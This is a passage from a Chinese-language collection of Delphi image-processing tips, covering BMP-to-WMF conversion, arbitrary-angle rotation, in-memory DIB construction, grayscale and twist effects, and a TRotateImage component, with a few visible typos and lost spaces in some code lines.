end;

---------------------------------------------------------------------

3.BMP格式转换为WMF格式

---------------------------------------------------------------------

procedure BmpToWmf (BmpFile,WmfFile:string);

var

MetaFile : TMetaFile;

MFCanvas : TMetaFileCanvas;

BMP : TBitmap;

begin

{Create temps}

MetaFile := TMetaFile.Create;

BMP := TBitmap.create;

BMP.LoadFromFile(BmpFile);

{Igualemos tama駉s}

{Equalizing sizes}

MetaFile.Height := BMP.Height;

MetaFile.Width := BMP.Width;

{Create a canvas for the Metafile}

MFCanvas:=TMetafileCanvas.Create(MetaFile, 0);

with MFCanvas do

begin

{Draw the BMP into canvas}

Draw(0, 0, BMP);

{Free the Canvas}

Free;

end;

{Free the BMP}

BMP.Free;

with MetaFile do

begin

{Save the Metafile}

SaveToFile(WmfFile);

{Free it...}

Free;

end;

end;


Image 任意角度的旋转
调用方法：

bmp_rotate(Image1.Picture.Bitmap, Image2.Picture.Bitmap, RAngle);

procedure TfrmColor.bmp_rotate(src,dst:tbitmap;angle:extended);

var

c1x,c1y,c2x,c2y:integer;

p1x,p1y,p2x,p2y:integer;

radius,n:integer;

alpha:extended;

c0,c1,c2,c3:tcolor;

begin

//将角度转换为PI值

angle := (angle / 180) * pi;

// 计算中心点，你可以修改它

c1x := src.width div 2;

c1y := src.height div 2;

c2x := dst.width div 2;

c2y := dst.height div 2;

// 步骤数值number

if c2x < c2y then

n := c2y

else

n := c2x;

dec (n,1);

// 开始旋转

for p2x := 0 to n do begin

for p2y := 0 to n do begin

if p2x = 0 then

alpha:= pi/2

else

alpha := arctan2(p2y,p2x);

radius := round(sqrt((p2x*p2x)+(p2y*p2y)));

p1x := round(radius * cos(angle+alpha));

p1y := round(radius * sin(angle+alpha));

c0 := src.canvas.pixels[c1x+p1x,c1y+p1y];

c1 := src.canvas.pixels[c1x-p1x,c1y-p1y];

c2 := src.canvas.pixels[c1x+p1y,c1y-p1x];

c3 := src.canvas.pixels[c1x-p1y,c1y+p1x];

dst.canvas.pixels[c2x+p2x,c2y+p2y]:=c0;

dst.canvas.pixels[c2x-p2x,c2y-p2y]:=c1;

dst.canvas.pixels[c2x+p2y,c2y-p2x]:=c2;

dst.canvas.pixels[c2x-p2y,c2y+p2x]:=c3;

end;

application.processmessages

end;

end;

*************8

----把一个点绕原点旋转α角度后，新的坐标位置与原坐标位置的

关系是：

X=xcosα－ysinα

Y=xsinα＋ycosα

例如要把位图顺时针旋转90度，坐标变换公式为：X=－yY=x

----把这一公式用到Image构件上，显示位图的主要问题是Image构

件显示的位图只有一个象限，并且x、y坐标也是互相颠倒的，为了

解决这个问题，必须在Image构件上建立一个新的坐标原点。下面就

举例说明。

----1.新建一工程project1,在form1上添加image1、image2、

image3、image4，其Autosize属性设为True,image1用来显示原

图，image2、image3、image4分别用来显示旋转90度、180度和270

度后的图像。双击image1，选定一幅bmp图。

----2.添加Button1、Button2、Button3和Button4按钮，其

caption属性分别为"原图"、"旋转90度"、"旋转180度"、

"旋转270度"。

----3.编写"旋转90度"按钮的OnClick事件。

procedureTForm1.Button2Click(Sender:TObject);

var

i,j:integer;

begin

//确定旋转后位图的大小

image2.Picture.Bitmap.Height:=image1.picture.width;

image2.Picture.Bitmap.Width:=image1.picture.height;

fori:=0toimage1.Heightdo

forj:=0toimage1.Widthdo

image2.canvas.Pixels[(－i＋image1.Height),

j]:=image1.canvas.Pixels[j,i];

end;

----4.编写"旋转180度"按钮的OnClick事件。

procedureTForm1.Button3Click(Sender:TObject);

var

i,j:integer;

begin

//确定旋转后位图的大小

image3.Picture.Bitmap.Height:=image1.picture.Height;

image3.Picture.Bitmap.Width:=image1.picture.Width;

fori:=0toimage1.Heightdo

forj:=0toimage1.Widthdo

image3.canvas.Pixels[(image1.Width

－j),(image1.Height－i)]:=image1.canvas.Pixels[j,i];

end;

----5.编写"旋转270度"按钮的OnClick事件。代码和步骤3相

似，只需要用image4替换image2，然后用以下的语句替换步骤3for

循环中的原有的语句。

image4.canvas.Pixels[i,(image1.Width－j)]:=image1.canvas.Pixels[j,i];

procedure Rotate(Bmp,Dst:TFastRGB;cx,cy:Integer;Angle:Extended);

var

cAngle,

sAngle: Double;

xDiff,

yDiff,

xpr,ypr,

ix,iy,

px,py,

x,y: Integer;

Tmp: PFColor;{what means?}

begin

Angle:=-Angle*Pi/180;

sAngle:=Sin(Angle);

cAngle:=Cos(Angle);

xDiff:=(Dst.Width-Bmp.Width)div 2;

yDiff:=(Dst.Height-Bmp.Height)div 2;

Tmp:=Dst.Bits;{what means?}

for y:=0 to Dst.Height-1 do

begin

py:=2*(y-cy)+1;

for x:=0 to Dst.Width-1 do

begin

px:=2*(x-cx)+1;

xpr:=Round(px*cAngle-py*sAngle);

ypr:=Round(px*sAngle+py*cAngle);

ix:=((xpr-1)div 2+cx)-xDiff;

iy:=((ypr-1)div 2+cy)-yDiff;

if(ix>-1)and(ix<Bmp.Width)and(iy>-1)and(iy<Bmp.Height)then

Tmp^:=Bmp.Pixels[iy,ix]; {what means?}

Inc(Tmp);

end;

Tmp:=Pointer(Integer(Tmp)+Dst.Gap); {what means?}

end;

end;

原理：

cos(Alpha), sin(Alpha), 0

只需要用源矩阵乘以 -sin(Alpha),cos(Alpha), 0

0, 0, 1

如果你发现转过来的图形带有很整齐的花点，解决的办法是反向计算，即从目标求的源点的坐标和像素值。

以上的例子就是这样的。

如果真的按下面下矩阵计算每个点，目标区有一些点会是白点(因为有些源点通过计算和四舍五入在目标中凑到一起了)，我以前解决的办法是从目标求的源点的坐标和像素值，不过首先要取到目标区的区域（往往是斜的）。

cos(Alpha), sin(Alpha), 0

-sin(Alpha),cos(Alpha), 0

0, 0, 1

下载我说的控件吗，有现成的例子及DEMO！

http://www.crosswinds.net/~khojasteh/delphi-components.html

TRotateImage v1.21

This component is a visual component similar to TImage with ability to rotate the image in any arbitrary angle. TRotateImage can be used on Delphi 3, 4, and 5.


将已经得到的位图文件头、信息头、调色板、数据在内存中构建BMP位图
我需要编程浏览一些特殊格式的图片，这些图片的格式同BMP查不多，我的处理方法是将此

文件转为位图格式的临时文件temp.bmp，然后再用Image1.Picture.LoadFromFile(...)。

我知道可以Bitmap:=TBitmap.Create在内存中创建一位图，那么如何将位图文件头、信息

头、调色板、数据传过去呢？这样我就不用每次都生成临时文件那么麻烦了，直接在内存

中构建，然后调用，会方便很多！

如果能在回答的同时附带一个小的演示程序最好，只要将一个BMP文件1.bmp显示出来就行，

但记住，是要分别将BMP文件的文件头、信息头、调色板、数据传过去的方式，不要告诉我

直接Image1.Picture.LoadFromFile(1.bmp)啊！

First,你所要的只是将已有的位图数据内容加上一个头信息,那很简单,利用

TBitmapFileHeader和TBitmapInfoHeader可以很容易填写头信息,然后,用

TMemoryStream,Seek(0,soFromBeginning),先把文件和信息头写进去,然后再

写数据,那就可以LoadFromStream.

Second,将图像画到Bitmap上去,未必要逐点赋值;即便要逐点赋值,也可以做得很

快,可以参考FastBmp的直接内存读写.

抄一段我写的有关的创建设备无关位图(DIB)直接内存读写点信息给你看:

...

const hSection = 0;

type

TFColor = record b,g,r:Byte end;

PFColor =^TFColor;

TLine = array[0..0]of TFColor;

PLine =^TLine;

TPLines = array[0..0]of PLine;

PPLines =^TPLines;

...

var

FFileHeader : TBitmapFileHeader;

FInfoHeader : TBitmapInfoHeader;

FInfo : TBitmapInfo;

FBits : Pointer;

Self.PixelFormat:=pf24bit; //设定你的Bitmap都为24位真彩,统一格式.

//Bitmap 文件头

with FFileHeader do

begin

bfType := $4D42;

bfSize := AWidth*AHeight*3+SizeOf(TBitmapFileHeader)+SizeOf(TBitmapInfoHeader);

bfReserved1 := 0;

bfReserved2 := 0;

bfOffBits := SizeOf(TBitmapFileHeader)+SizeOf(TBitmapInfoHeader);

end;

with FInfoHeader do

begin

biSize := SizeOf(TBitmapInfoHeader);

biWidth := AWidth;

biHeight := AHeight;

biPlanes := 1;

biBitCount := 24;

biCompression := BI_RGB;

biSizeImage := AWidth * AHeight * 3;

end;

FInfo.bmiHeader:=FInfoHeader;

FMyHandle:=CreateDIBSection(0,

FInfo,

DIB_RGB_COLORS,

FBits,

hSection,

0);

memDC:=GetDC(0);

GetDIBits(memDC,Self.Handle,0,AHeight,FBits,FInfo,DIB_RGB_COLORS);

ReleaseDC(memDC);

最重要是两个API,分别是创建一个内存DIB并给指针FBits分配内存,下一句则是

将该DIB的内容读入FBits所指的内存区域.以后的事就简单了,对每一个点,只要

让一个指针指向所需的内存区域:

GetMem(FPixels,AHeight * SizeOf(PLine)); //你自己定义的一个象素点指针

RowInc := (AWidth * 3 + AWidth mod 4); //每行都是4的整数倍个字节

XPointer := Integer(FBits);

for LoopI:=0 to AHeight - 1 do

begin

FPixels^[LoopI] := Pointer(XPointer);

Inc(XPointer,RowInc{ + AWidth mod 4});

end;

{下面这一段是为了让你可以用BitBlt和StretchBlt等直接对HDC进行图像操作

的API,也就是说可以象操作TCanvas那样进行操作,不过要记得,当所有的图像操作

完以后,要GdiFlush才能让对应的FBits内存刷新,切记切记 }

if FMyhDC<>0 then DeleteDC(FMyhDC);

FMyhDC:=CreateCompatibleDC(0);

SelectObject(FMyhDC,FMyHandle);

有什么地方不懂的话可以去看FastBmp的源码,上面一段基本是照抄,我是用在自己

定义的扩展TBitmap类中的.希望对你有帮助.

对了,想要FastBmp的话我可以mail你.


抓取被窗口遮盖的桌面的图形
以下代码在 Win2000中可以实现。

const

WS_EX_LAYERED = $00080000;

var

DC: HDC;

FStyle: Longint;

FCanvas: TCanvas;

bmpScreen : TBitamp;

begin

FStyle := GetWindowLong(FFadeWin.Handle, GWL_EXSTYLE);

FStyle := FStyle or WS_EX_LAYERED;

SetWindowLong(FFadeWin.Handle, GWL_EXSTYLE, FStyle);

Sleep(50);

bmpScreen := TBitamp.Create;

bmpScreen.Width := FFadeWin.Width;

bmpScreen.Height := FFadeWin.Height;

bmpScreen.Canvas.Lock;

DC := GetDC(0);

with bmpScreen do

Bitblt(Canvas.Handle, 0, 0,

FFadeWin.Width, FFadeWin.Height,

DC, FFadeWin.Left, FFadeWin.Top, SRCCOPY);

ReleaseDC(0, DC);

bmpScreen.Canvas.UnLock;

FStyle := GetWindowLong(FFadeWin.Handle, GWL_EXSTYLE);

FStyle := FStyle and (not WS_EX_LAYERED);

SetWindowLong(FFadeWin.Handle, GWL_EXSTYLE, FStyle);

end;


图形的不规则的Copy
你见过这样屏幕保护程序的效果吗？屏幕中央出现一个圆形区域，区域中是一幅图，随着圆形区域的逐渐扩大，这幅图便画满了整个屏幕，另一种效果相反，是以圆形逐渐缩小的方式来显现的，Windows的Blt函数都是基于矩形拷贝的，没有其它多边形的拷贝，所以实现这一效果肯定是用剪裁区域一类的方法来做的。

var

Bmp :TBitmap;

FRgn :HRGN;

begin

Bmp :=TBitmap.Create;

Bmp.PixelFormat :=Image1.Picture.Bitmap.PixelFormat;

Bmp.Width :=100;

Bmp.Height :=100;

BitBlt(Bmp.Canvas.Handle,0,0,Bmp.Width,Bmp.Height,Image1.Canvas.Handle,80,

80,SRCCOPY); //要拷贝的位图

FRgn :=CreateEllipticRgn(0,0,100,100); //创建圆形区域

SelectClipRgn(Image1.Canvas.Handle,FRgn); //选择剪切区域

Image1.Canvas.Draw(0,0,Bmp); //位图位于区域内的部分加载

Bmp.Free;

DeleteObject(FRgn);

end;

原发贴者是“卷起千堆雪tyn”。


如果将一256色的BMP文件转换成16色
Bitmap.PixelFormat :=pf4bit


图象局部放大的原理和方法
本文介绍实现图象局部、平滑和无闪烁放大的算法原理，以及在Delphi中实现的技术。读完本文，您一定会为Delphi能用如此少的代码实现如此强大的功能惊叹不已，这是许多其它开发工具所无法比拟的。

算法原理

在Delphi中，可利用类Tcanvas的CopyRect方法实现图象的放大和缩小。其功能是将源画布上的一个指定矩形区域（简称源矩形）内的象素，拷贝到目的画布上的一个指定矩形区域（简称目的矩形）中。亦可称之为象素块复制，如图1所示。

由CopyMode属性确定拷贝的模式。在直接拷贝模式（cmSrcCopy）下，当源矩形与目的矩形相等时，图象不变；若源矩形大于目的矩形，图象则缩小；而当源矩形小于目的矩形时，图象便被放大（在目的矩形中扩展）。源矩形与目的矩形大小之比，决定图象的缩放倍数。CopyRect方法声明如下：

Procedure CopyRect(const Dest: TRect; Canvas: TCanvas; const Source: Trect);

其中参数，Dest为目的矩形，Canvas是源画布，Source为源矩形。

实现步骤

新建应用程序主目录C:及其子目录Images，将事先制作好的位图图象Picture.bmp存入Images目录。本例中，Picture.bmp的大小为260*310象素。

启动Delphi IDE，新建项目Magnifier.dpr，主窗体单元命名为Main.pas，存入C:目录。在主窗体上放置一个TPanel组件，并在其中加入两个TImage组件。两个TImage组件分别命名为ForeImage和BackImage，前者重叠于后者之上，并且都装入Picture.bmp位图。

主窗体和各组件的主要属性按表1设置：

表1 主窗体和各组件属性设置

组 件 属 性 设 置

Form1 BorderIcons.biMaximize False

BorderStyle bsNone

Color clRed

Height 364

KeyPreview True

Name MainForm

Position poScreenCenter

Width 294

WindowState wsNormal

Panel1 Align alNone

BevelInner bvLowered

BevelOuter bvRaised

BevelWidth 2

BorderStyle bsNone

BorderWidth 2

Height 322

Name FramePanel

Visible Ture

Width 272

Image1 Align alNone

AutoSize True

Center True

Height 310

Name BackImage

Picture Picture.bmp

Stretch False

Visible False

Width 260

Image2 Align alNone

AutoSize True

Center True

Height 310

Name ForeImage

Picture Picture.bmp

Stretch False

Visible True

Width 260

上述各组件的许多属性，读者亦可根据个人的爱好设定。在主单元Main.pas的implementation段声明常量和变量：

const

sSide=30;

dSide=45;

var

msHide: Boolean;

OldX, OldY, NewX, NewY: Integer;

DestRect, SourceRect : TRect;

其中，常量sSide和dSide用以控制“放大镜”的大小和放大倍数；变量msHide控制光标（鼠标）的隐藏和打开；其它变量用以确定放大部位。

建立主窗体MainForm的OnCreate事件，加入下列语句，以初始化变量及设置复制模式：

msHide:=True;

Canvas.CopyMode:=cmSrcCopy;


图像的灰度处理
灰度级处理

procedure Gray(bmp: TBitmap);

var

p: PByteArray;

w: Integer;

i, j: Integer;

begin

bmp.pixelformat := pf24bit;

for i := 0 to bmp.height - 1 do

begin

p := bmp.scanline[i];

j := 0;

while j < (bmp.width-1) * 3 do

begin

w :=(p[j] * 28 + p[j+1] * 151 + p[j+2]*77);

w := w shr 8;

p[j] := byte(w);

p[j+1] := byte(w);

p[j+2] := byte(w);

inc(j, 3)

end;

end;

end;

**************************

//This function turns a colored Bitmap into Grayshades

uses

Windows, Graphics;

function ConvertBitmapToGrayscale1(const Bitmap: TBitmap): TBitmap;

var

i, j: Integer;

Grayshade, Red, Green, Blue: Byte;

PixelColor: Longint;

begin

with Bitmap do

for i := 0 to Width - 1 do

for j := 0 to Height - 1 do

begin

PixelColor := ColorToRGB(Canvas.Pixels[i, j]);

Red := PixelColor;

Green := PixelColor shr 8;

Blue := PixelColor shr 16;

Grayshade := Round(0.3 * Red + 0.6 * Green + 0.1 * Blue);

Canvas.Pixels[i, j] := RGB(Grayshade, Grayshade, Grayshade);

end;

Result := Bitmap;

end;

procedure ConvertBitmapToGrayscale2(const Bmp: TBitmap);

{From: Pascal Enz, pascal.enz@datacomm.ch }

type

TRGBArray = array[0..32767] of TRGBTriple;

PRGBArray = ^TRGBArray;

var

x, y, Gray: Integer;

Row: PRGBArray;

begin

Bmp.PixelFormat := pf24Bit;

for y := 0 to Bmp.Height - 1 do

begin

Row := Bmp.ScanLine[y];

for x := 0 to Bmp.Width - 1 do

begin

Gray := (Row[x].rgbtRed + Row[x].rgbtGreen + Row[x].rgbtBlue) div 3;

Row[x].rgbtRed := Gray;

Row[x].rgbtGreen := Gray;

Row[x].rgbtBlue := Gray;

end;

end;

end;

procedure ConvertBitmapToGrayscale3(const Bitmap: TBitmap);

type

PPixelRec = ^TPixelRec;

TPixelRec = packed record

B: Byte;

G: Byte;

R: Byte;

Reserved: Byte;

end;

var

X: Integer;

Y: Integer;

P: PPixelRec;

Gray: Byte;

begin

Assert(Bitmap.PixelFormat = pf32Bit);

for Y := 0 to (Bitmap.Height - 1) do

begin

P := Bitmap.ScanLine[Y];

for X := 0 to (Bitmap.Width - 1) do

begin

Gray := Round(0.30 * P.R + 0.59 * P.G + 0.11 * P.B);

// Gray := (P.R shr 2) + (P.R shr 4) + (P.G shr 1) + (P.G shr 4) + (P.B shr 3);

P.R := Gray;

P.G := Gray;

P.B := Gray;

Inc(P);

end;

end;

end;


图象扭曲算法
：卷起千堆雪tyn,

图象扭曲算法 ：

procedure Twist(var Bmp, Dst: TBitmap; Amount: integer);

var

fxmid, fymid : Single;

txmid, tymid : Single;

fx,fy : Single;

tx2, ty2 : Single;

r : Single;

theta : Single;

ifx, ify : integer;

dx, dy : Single;

OFFSET : Single;

ty, tx : Integer;

weight_x, weight_y : array[0..1] of Single;

weight : Single;

new_red, new_green : Integer;

new_blue : Integer;

total_red, total_green : Single;

total_blue : Single;

ix, iy : Integer;

sli, slo : PBytearray;

function ArcTan2(xt,yt : Single): Single;

begin

if xt = 0 then

if yt > 0 then

Result := Pi/2

else

Result := -(Pi/2)

else begin

Result := ArcTan(yt/xt);

if xt < 0 then

Result := Pi + ArcTan(yt/xt);

end;

end;

begin

OFFSET := -(Pi/2);

dx := Bmp.Width - 1;

dy := Bmp.Height - 1;

r := Sqrt(dx * dx + dy * dy);

tx2 := r;

ty2 := r;

txmid := (Bmp.Width-1)/2; //Adjust these to move center of rotation

tymid := (Bmp.Height-1)/2; //Adjust these to move ......

fxmid := (Bmp.Width-1)/2;

fymid := (Bmp.Height-1)/2;

if tx2 >= Bmp.Width then tx2 := Bmp.Width-1;

if ty2 >= Bmp.Height then ty2 := Bmp.Height-1;

for ty := 0 to Round(ty2) do begin

for tx := 0 to Round(tx2) do begin

dx := tx - txmid;

dy := ty - tymid;

r := Sqrt(dx * dx + dy * dy);

if r = 0 then begin

fx := 0;

fy := 0;

end

else begin

theta := ArcTan2(dx,dy) - r/Amount - OFFSET;

fx := r * Cos(theta);

fy := r * Sin(theta);

end;

fx := fx + fxmid;

fy := fy + fymid;

ify := Trunc(fy);

ifx := Trunc(fx);

// Calculate the weights.

if fy >= 0 then begin

weight_y[1] := fy - ify;

weight_y[0] := 1 - weight_y[1];

end else begin

weight_y[0] := -(fy - ify);

weight_y[1] := 1 - weight_y[0];

end;

if fx >= 0 then begin

weight_x[1] := fx - ifx;

weight_x[0] := 1 - weight_x[1];

end else begin

weight_x[0] := -(fx - ifx);

Weight_x[1] := 1 - weight_x[0];

end;

if ifx < 0 then

ifx := Bmp.Width-1-(-ifx mod Bmp.Width)

else if ifx > Bmp.Width-1 then

ifx := ifx mod Bmp.Width;

if ify < 0 then

ify := Bmp.Height-1-(-ify mod Bmp.Height)

else if ify > Bmp.Height-1 then

ify := ify mod Bmp.Height;

total_red := 0.0;

total_green := 0.0;

total_blue := 0.0;

for ix := 0 to 1 do begin

for iy := 0 to 1 do begin

if ify + iy < Bmp.Height then

sli := Bmp.scanline[ify + iy]

else

sli := Bmp.scanline[Bmp.Height - ify - iy];

if ifx + ix < Bmp.Width then begin

new_red := sli[(ifx + ix)*3];

new_green := sli[(ifx + ix)*3+1];

new_blue := sli[(ifx + ix)*3+2];

end

else begin

new_red := sli[(Bmp.Width - ifx - ix)*3];

new_green := sli[(Bmp.Width - ifx - ix)*3+1];

new_blue := sli[(Bmp.Width - ifx - ix)*3+2];

end;

weight := weight_x[ix] * weight_y[iy];

total_red := total_red + new_red * weight;

total_green := total_green + new_green * weight;

total_blue := total_blue + new_blue * weight;

end;

end;

slo := Dst.scanline[ty];

slo[tx*3] := Round(total_red);

slo[tx*3+1] := Round(total_green);

slo[tx*3+2] := Round(total_blue);

end;

end;

end;

procedure Twist(var Bmp, Dst: TBitmap; Amount: integer);

这里的Bmp为源位图,Dst为目标位图，Amount为扭曲常数，你可以定义为任意整数，例如100.


图像旋转控件
unit RotImg;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TRotateImage = class(TGraphicControl)

private

FPicture: TPicture;

FOnProgress: TProgressEvent;

FStretch: Boolean;

FCenter: Boolean;

FIncrementalDisplay: Boolean;

FTransparent: Boolean;

FDrawing: Boolean;

FAngle: Extended;

{$IFNDEF RI_D4orHigher}

FAutoSize: Boolean;

{$ENDIF}

FUniqueSize: Boolean;

FRotatedBitmap: TBitmap;

function GetCanvas: TCanvas;

procedure PictureChanged(Sender: TObject);

procedure SetCenter(Value: Boolean);

procedure SetPicture(Value: TPicture);

procedure SetStretch(Value: Boolean);

procedure SetTransparent(Value: Boolean);

procedure SetAngle(Value: Extended);

{$IFNDEF RI_D4orHigher}

procedure SetAutoSize(Value: Boolean);

{$ENDIF}

procedure SetUniqueSize(Value: Boolean);

procedure CreateRotatedBitmap;

procedure CMColorChanged(var Msg: TMessage); message CM_COLORCHANGED;

protected

{$IFDEF RI_D4orHigher}

function CanAutoSize(var NewWidth, NewHeight: Integer): Boolean; override;

{$ELSE}

procedure AdjustSize;

{$ENDIF}

function DestRect: TRect;

function DoPaletteChange: Boolean;

function GetPalette: HPALETTE; override;

procedure Paint; override;

procedure Loaded; override;

procedure Progress(Sender: TObject; Stage: TProgressStage;

PercentDone: Byte; RedrawNow: Boolean; const R: TRect; const Msg: string); dynamic;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property Canvas: TCanvas read GetCanvas;

property RotatedBitmap: TBitmap read FRotatedBitmap;

published

property Align;

{$IFDEF RI_D4orHigher}

property Anchors;

{$ENDIF}

property Angle: Extended read FAngle write SetAngle;

{$IFDEF RI_D4orHigher}

property AutoSize;

{$ELSE}

property AutoSize: Boolean read FAutoSize write SetAutoSize default False;

{$ENDIF}

property Center: Boolean read FCenter write SetCenter default False;

property Color;

{$IFDEF RI_D4orHigher}

property Constraints;

{$ENDIF}

property DragCursor;

{$IFDEF RI_D4orHigher}

property DragKind;

{$ENDIF}

property DragMode;

property Enabled;

property IncrementalDisplay: Boolean read FIncrementalDisplay write FIncrementalDisplay default False;

property ParentColor;

property ParentShowHint;

property Picture: TPicture read FPicture write SetPicture;

property PopupMenu;

property ShowHint;

property Stretch: Boolean read FStretch write SetStretch default False;

property Transparent: Boolean read FTransparent write SetTransparent default False;

property UniqueSize: Boolean read FUniqueSize write SetUniqueSize default True;

property Visible;

property OnClick;

property OnDblClick;

property OnDragDrop;

property OnDragOver;

{$IFDEF RI_D4orHigher}

property OnEndDock;

{$ENDIF}

property OnEndDrag;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnProgress: TProgressEvent read FOnProgress write FOnProgress;

{$IFDEF RI_D4orHigher}

property OnStartDock;

{$ENDIF}

property OnStartDrag;

end;

function RotateBitmap(Bitmap: TBitmap; Angle: Double; Color: TColor): TBitmap;

procedure Register;

implementation

uses

Consts, Math;

// Bitmaps must be 24 bit pixel format.

// Angle is in degrees.

function RotateBitmap(Bitmap: TBitmap; Angle: Double; Color: TColor): TBitmap;

const

MaxPixelCount = 32768;

type

PRGBTripleArray = ^TRGBTripleArray;

TRGBTripleArray = array[0..MaxPixelCount] of TRGBTriple;

var

CosTheta: Extended;

SinTheta: Extended;

xSrc, ySrc: Integer;

xDst, yDst: Integer;

xODst, yODst: Integer;

xOSrc, yOSrc: Integer;

xPrime, yPrime: Integer;

srcRow, dstRow: PRGBTripleArray;

begin

Result := TBitmap.Create;

SinCos(Angle * Pi / 180, SinTheta, CosTheta);

if (SinTheta * CosTheta) < 0 then

begin

Result.Width := Round(Abs(Bitmap.Width * CosTheta - Bitmap.Height * SinTheta));

Result.Height := Round(Abs(Bitmap.Width * SinTheta - Bitmap.Height * CosTheta));

end

else

begin

Result.Width := Round(Abs(Bitmap.Width * CosTheta + Bitmap.Height * SinTheta));

Result.Height := Round(Abs(Bitmap.Width * SinTheta + Bitmap.Height * CosTheta));

end;

with Result.Canvas do

begin

Brush.Color := Color;

Brush.Style := bsSolid;

FillRect(ClipRect);

end;

Result.PixelFormat := pf24bit;

Bitmap.PixelFormat := pf24bit;

xODst := Result.Width div 2;

yODst := Result.Height div 2;

xOSrc := Bitmap.Width div 2;

yOSrc := Bitmap.Height div 2;

for ySrc := Max(Bitmap.Height, Result.Height)-1 downto 0 do

begin

yPrime := ySrc - yODst;

for xSrc := Max(Bitmap.Width, Result.Width)-1 downto 0 do

begin

xPrime := xSrc - xODst;

xDst := Round(xPrime * CosTheta - yPrime * SinTheta) + xOSrc;

yDst := Round(xPrime * SinTheta + yPrime * CosTheta) + yOSrc;

if (yDst >= 0) and (yDst < Bitmap.Height) and

(xDst >= 0) and (xDst < Bitmap.Width) and

(ySrc >= 0) and (ySrc < Result.Height) and

(xSrc >= 0) and (xSrc < Result.Width) then

begin

srcRow := Bitmap.ScanLine[yDst];

dstRow := Result.Scanline[ySrc];

dstRow[xSrc] := srcRow[xDst];

end;

end;

end;

end;

procedure TRotateImage.CreateRotatedBitmap;

var

OrgBitmap: TBitmap;

RotBitmap: TBitmap;

begin

if (Picture.Width > 0) and (Picture.Height > 0) then

begin

OrgBitmap := TBitmap.Create;

OrgBitmap.Width := Picture.Width;

OrgBitmap.Height := Picture.Height;

with OrgBitmap.Canvas do

begin

Brush.Color := Color;

Brush.Style := bsSolid;

FillRect(ClipRect);

end;

OrgBitmap.Canvas.Draw(0, 0, Picture.Graphic);

RotBitmap := RotateBitmap(OrgBitmap, Angle, Color);

if UniqueSize then

begin

with RotatedBitmap.Canvas do

begin

Brush.Color := Color;

Brush.Style := bsSolid;

FillRect(ClipRect);

end;

RotatedBitmap.Width := Round(Sqrt(Sqr(Picture.Width+2) + Sqr(Picture.Height+2)));

RotatedBitmap.Height := RotatedBitmap.Width;

RotatedBitmap.Transparent := Transparent;

if Center and not Stretch then

RotatedBitmap.Canvas.Draw((RotatedBitmap.Width - RotBitmap.Width) div 2,

(RotatedBitmap.Height - RotBitmap.Height) div 2, RotBitmap)

else

RotatedBitmap.Canvas.Draw(0, 0, RotBitmap);

RotBitmap.Free;

end

else

begin

RotatedBitmap.Free;

FRotatedBitmap := RotBitmap;

end;

OrgBitmap.Free;

end

else

begin

RotatedBitmap.Width := 0;

RotatedBitmap.Height := 0;

end;

if AutoSize then AdjustSize;

end;

constructor TRotateImage.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

ControlStyle := ControlStyle + [csReplicatable];

FPicture := TPicture.Create;

FPicture.OnChange := PictureChanged;

FPicture.OnProgress := Progress;

FUniqueSize := True;

FRotatedBitmap := TBitmap.Create;

Height := 105;

Width := 105;

end;

destructor TRotateImage.Destroy;

begin

Picture.Free;

RotatedBitmap.Free;

inherited Destroy;

end;

function TRotateImage.GetPalette: HPALETTE;

begin

Result := 0;

if Picture.Graphic <> nil then

Result := Picture.Graphic.Palette;

end;

function TRotateImage.DestRect: TRect;

begin

if Stretch then

Result := ClientRect

else if Center then

Result := Bounds((Width - RotatedBitmap.Width) div 2,

(Height - RotatedBitmap.Height) div 2,

RotatedBitmap.Width, RotatedBitmap.Height)

else

Result := Rect(0, 0, RotatedBitmap.Width, RotatedBitmap.Height);

end;

procedure TRotateImage.Paint;

var

Save: Boolean;

begin

if not RotatedBitmap.Empty then

begin

Save := FDrawing;

FDrawing := True;

try

with inherited Canvas do

StretchDraw(DestRect, RotatedBitmap);

finally

FDrawing := Save;

end;

end;

if csDesigning in ComponentState then

with inherited Canvas do

begin

Pen.Style := psDash;

Brush.Style := bsClear;

Rectangle(0, 0, Width, Height);

end;

end;

procedure TRotateImage.Loaded;

begin

inherited Loaded;

PictureChanged(Self);

end;

function TRotateImage.DoPaletteChange: Boolean;

var

ParentForm: TCustomForm;

G: TGraphic;

begin

Result := False;

G := Picture.Graphic;

if Visible and (not (csLoading in ComponentState)) and

(G <> nil) and (G.PaletteModified) then

begin

if (G.Palette = 0) then

G.PaletteModified := False

else

begin

ParentForm := GetParentForm(Self);

if Assigned(ParentForm) and ParentForm.Active and Parentform.HandleAllocated then

begin

if FDrawing then

ParentForm.Perform(WM_QUERYNEWPALETTE, 0, 0)

else

PostMessage(ParentForm.Handle, WM_QUERYNEWPALETTE, 0, 0);

Result := True;

G.PaletteModified := False;

end;

end;

end;

end;

procedure TRotateImage.Progress(Sender: TObject; Stage: TProgressStage;

PercentDone: Byte; RedrawNow: Boolean; const R: TRect; const Msg: string);

begin

if IncrementalDisplay and RedrawNow then

begin

if DoPaletteChange then Update

else Paint;

end;

if Assigned(OnProgress) then OnProgress(Sender, Stage, PercentDone, RedrawNow, R, Msg);

end;

function TRotateImage.GetCanvas: TCanvas;

var

Bitmap: TBitmap;

begin

if Picture.Graphic = nil then

begin

Bitmap := TBitmap.Create;

try

Bitmap.Width := Width;

Bitmap.Height := Height;

Picture.Graphic := Bitmap;

finally

Bitmap.Free;

end;

end;

if Picture.Graphic is TBitmap then

Result := TBitmap(Picture.Graphic).Canvas

else

raise EInvalidOperation.Create(SImageCanvasNeedsBitmap);

end;

procedure TRotateImage.CMColorChanged(var Msg: TMessage);

begin

inherited;

CreateRotatedBitmap;

end;

procedure TRotateImage.SetCenter(Value: Boolean);

begin

if Value <> Center then

begin

FCenter := Value;

PictureChanged(Self)

end;

end;

procedure TRotateImage.SetPicture(Value: TPicture);

begin

Picture.Assign(Value);

end;

procedure TRotateImage.SetStretch(Value: Boolean);

begin

if Value <> Stretch then

begin

FStretch := Value;

PictureChanged(Self);

end;

end;

procedure TRotateImage.SetTransparent(Value: Boolean);

begin

if Value <> Transparent then

begin

FTransparent := Value;

PictureChanged(Self);

end;

end;

procedure TRotateImage.SetAngle(Value: Extended);

begin

if Value <> Angle then

begin

FAngle := Value;

PictureChanged(Self);

end;

end;

{$IFNDEF RI_D4orHigher}

procedure TRotateImage.SetAutoSize(Value: Boolean);

begin

if Value <> AutoSizethen

begin

